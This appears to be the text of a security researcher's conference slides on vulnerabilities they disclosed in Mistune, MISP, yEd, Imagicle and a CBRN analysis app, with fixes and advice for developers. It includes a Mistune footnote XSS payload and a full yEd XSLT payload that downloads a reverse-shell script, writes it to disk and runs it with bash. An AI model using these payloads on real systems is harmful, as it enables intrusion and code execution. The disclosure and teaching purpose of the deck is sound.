

Deszcz CVE

Case Study podatności w narzędziach open i closed source

Agenda



- Introduction
- Do you play CTF?
- MISP and Phar deserialization
- RCE on a diagram desktop editor
- Call recording platform SQL injection
- Provide good recommendations
- Desktop app for nuclear threats
- Concusions

Introduction



- CEO and Cybersecurity Expert in Zigrin Security
- 12 years of cybersecurity experience
- Industries
 - SaaS
 - Military
 - Healthcare
 - Banking & Insurance
 - E-commerce
 - You can read about some of them here: <u>www.zigrin.com/advisories</u>









We are a team of **cybersecurity perfectionists** and **experts** who offer you specialized knowledge and years of experience in software and hardware security testing.

You can read about how we help our customers get more secure: www.zigrin.com/casestudy

Do you play CTF?



Mistune

- Python Markdown parser
- github.com/lepture/mistune

import mistune
mistune.html(your_markdown_text)

- Hack.lu CTF 2017
- ctftime.org/task/4773
- Send a message to the admin
- Steal the admin's cookie
- Admin clicks on all links

Goal: XSS

Do you play CTF?



- Reading documentation
- Sending some payloads
- Playing with local setup

Found XSS

```
Footnote 1 link[^first" onclick="alert(1)].

[^first" onclick="alert(1)]: Footnot
```

I found footnotes

```
That's some text with a footnote. [^1]

[^1]: And that's the footnote.

It will be converted into HTML:

ne text with a footnote.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1">1</a>
%s="footnotes">

'>And that's the footnote.<a href="#fnref-1" class="footnote">&#8617;</a>
```

I stole admin's cookie and got the flag

Do you play CTF?



- Turns out, you can XSS
 - on the latest version (at the time of the CTF)
 - with default configuration
- 0-day found in a CTF, nice
- Reported diretly to the Mistune maintainer
- CVE-2017-16876
- CVSS: 6.1 Medium

Description

Cross-site scripting (XSS) vulnerability in the _keyify function in mistune.py in Mistune before 0.8.1 allows remote attackers to inject arbitrary web script or HTML by leveraging failure to escape the "key" argument.





Base Score: 6.1 MEDIUM

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N



Open Source
Threat Intelligence
Platform





- Phar PHP application in a single file PHP Archive
- phar:// stream wrapper
- Useful for developers to run bundled scripts and perform admin tasks

```
1 <?php
2
3 file_get_contents("phar:///var/www/html/myphar.phar/myfile.txt");
4</pre>
```



- Phar deserialization occurs when an attacker
 - Uploads a phar file on a webserver
 - Knows the absolute path of that file
 - Can put input at least at the beginning of functions that understand phar:// wrapper
- Note: Uploaded file can have .zip or .tar extension

```
1 <?php
2
3 file_get_contents("phar:///var/www/html/malicious.zip");
4</pre>
```



• PoC || GTFO






- Vulnerability from 2019
- Reported directly to CIRCL team
- Assigned CVE by CIRCL team: CVE-2019-12868
- CVSS: 9.1 Critical
- Fix:

```
∨ - 6 ■■■■ app/Model/Server.php [□
               @@ -3076,6 +3076,9 @@ public function beforeHookBinExec($setting, $value)
       3076
                   public function testForBinExec($value)
      3077
      3078
       3079
                       if (substr($value, 0, 7) === "phar://") {
                           return 'Phar protocol not allowed.';
       3082
                       $finfo = finfo_open(FILEINFO_MIME_TYPE);
3079
       3083
                       if ($value === '') {
      3084
                           return true;
3081
               @@ -3094,6 +3097,9 @@ public function testForBinExec($value)
      3097
3094
                   public function testForWritableDir($value)
       3098
      3099
       3100
                       if (substr($value, 0, 7) === "phar://") {
       3101
                           return 'Phar protocol not allowed.';
       3102 +
      3103
                       if (!is_dir($value)) {
      3104
                           return 'Not a valid directory.';
      3105
```




yEd is a free desktop application to create, import, edit, and automatically arrange diagrams





- Attack vector import functionalities remember it :)
- Diagrams are saved as XML files
- Application allows to perform data transformation XSLT (Extensible Stylesheet Language Transformations)
- XSLT documents define how to transform XML into other formats





```
<ml.xml

<pre>


<ml.xml

<pre>

</pr
```



```
xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
    <html>
    <body>
   <h2>The Super title</h2>
   Title
          artist
       <xsl:value-of select="catalog/cd/title"/>
       <xsl:value-of select="catalog/cd/artist"/>
      </body>
   </html>
</xsl:template>
</xsl:stylesheet>
```



https://book.hacktricks.xyz/pentesting-web/xsltserver-side-injection-extensible-stylesheetlanguage-transformations



What can go wrong with transformations?




Text editor is not enough?

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet extension-element-prefixes="redirect"</pre>
    xmlns:redirect="http://xml.apache.org/xalan/redirect"
    xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process"
    xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"
    xmlns="http://graphml.graphdrawing.org/xmlns"
    xmlns:y="http://www.yworks.com/xml/graphml"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
    <xsl:variable
        xmlns:Channels="java.nio.channels.Channels"
        xmlns:URL="java.net.URL" select="Channels:newChannel(URL:openStream(URL:new('http://127.0.0.2/reverse-shell.sh')))" name="in"/>
        <xsl:value-of select="$in"/>
        <xsl:variable select="FileOutputStream:getChannel(FileOutputStream:new('script.sh'))" name="out"</pre>
            xmlns:FileOutputStream="java.10.FileOutputStream"/>
            <xsl:value-of select="$out"/>
            <xsl:variable select="FileChannel:transferFrom($out, $in, 0, 1000000000)" name="xfer"</pre>
                xmlns:FileChannel="java.nio.channels.FileChannel"/>
                <xsl:value-of select="$xfer"/>
                <xsl:variable select="Runtime:exec(Runtime:getRuntime(),'bash -i script.sh')" name="process"/>
                <xsl:variable select="process:waitFor($process)" name="waiting"/>
                <xsl:template match="/">
                    <graphml
                        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
                    </graphml>
                </xsl:template>
            </xsl:stylesheet>
```



Text editor is not enough?








- Reported to the vendor CVE-2020-25216
- CVSS: 8.3 High
- Fix limiting XSLT functionalities?





Imagicle Application Suite – Attendant Console, Call Recording, Digital Fax, Call Analytics, and more.






- Standard grey box web pentest
- Application in ASP.NET
- Export component
- Interesting cookies
- Can we inject someting in a cookie?

```
Pretty Raw \n Actions \times Select extension... \times Select extension...
```



Result - Full database exfiltration





- Reported to the vendor
- Vendor acknowledgment only on closed newsletter
- GVE request through MITRE: CVE-2021-42369
- CVSS: 9.9 Critical





- Remember phar deserialization vulnerability from 2019?
- 3 years later 2022
- I found similar vulnerability in MISP once again



• What can we do as pentesters to help developers get the most out of our reports?

Provide detailed recommendations!



- Do you remember previous fix?
- Disallow phar:// wrapper

```
√ ♣ 6 ■■■■ app/Model/Server.php 「□
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3076
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                           return true;
               @@ -3094,6 +3097,9 @@ public function testForBinExec($value)
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      3100
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                           return 'Phar protocol not allowed.';
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                       if (!is_dir($value)) {
3097
      3103
                           return 'Not a valid directory.';
      3105
```



• Better fix: Disable phar altogether if it's not used

Result: No more phar deserialization vulnerabilities in MISP since then



• CVE assigned by CIRCL: CVE-2022-29528

• CVSS: 9.8 Critical

• Note: Since PHP 8 – No more auto metadata deserialization



Desktop app for nuclear threats




- CBRN Chemical, Biological, Radiological, and Nuclear
- CBRN-Analysis Knowledge Management, Hazard Prediction, and Warning and Reporting capability for CBRN threats



Desktop app for nuclear threats











- Fat-client windows app
- Remember the attack vector from yEd diagram editor?
- Attack vector: User and application configuration files








Impact?










Desktop app for nuclear threats




How to look for such vulnerabilities?







- CVE assigned through MITRE: CVE-2022-45193
- CVSS: 5.9 Medium
- Fix:
 - Configuration files stored in a user profile
 - Configuration files with limited permissions



Conclusions



- Pentesters / security researchers
 - Participate in CTF competitions
 - Look for file processing functions in PHP apps
 - Examine format for data import functionalities in fat-client apps
 - Send your payloads in cookies
 - Provide detailed recommendations
 - Check file permissions

Conclusions



- Developers
 - Keep libraries your app uses up to date
 - Disable phar wrappers altogether or host your app on PHP 8
 - Disable dangerous XSLT functions for XSLT from untrusted sources
 - Filter/validate cookie values
 - Look for generic fixes to vulnerabilities in your apps
 - Ensure file permissions are tight following least privilege principle

Conclusions



- Security Engineers
 - Create CTF challenges around your applications :)
 - Push for PHP 8
 - Recommend simpler mechanisms for data transformation than XSLT
 - Configure your DAST scanners to target cookies
 - Look for generic fixes to vulnerabilities
 - Automate file permission checks



Now go and find your own CVE

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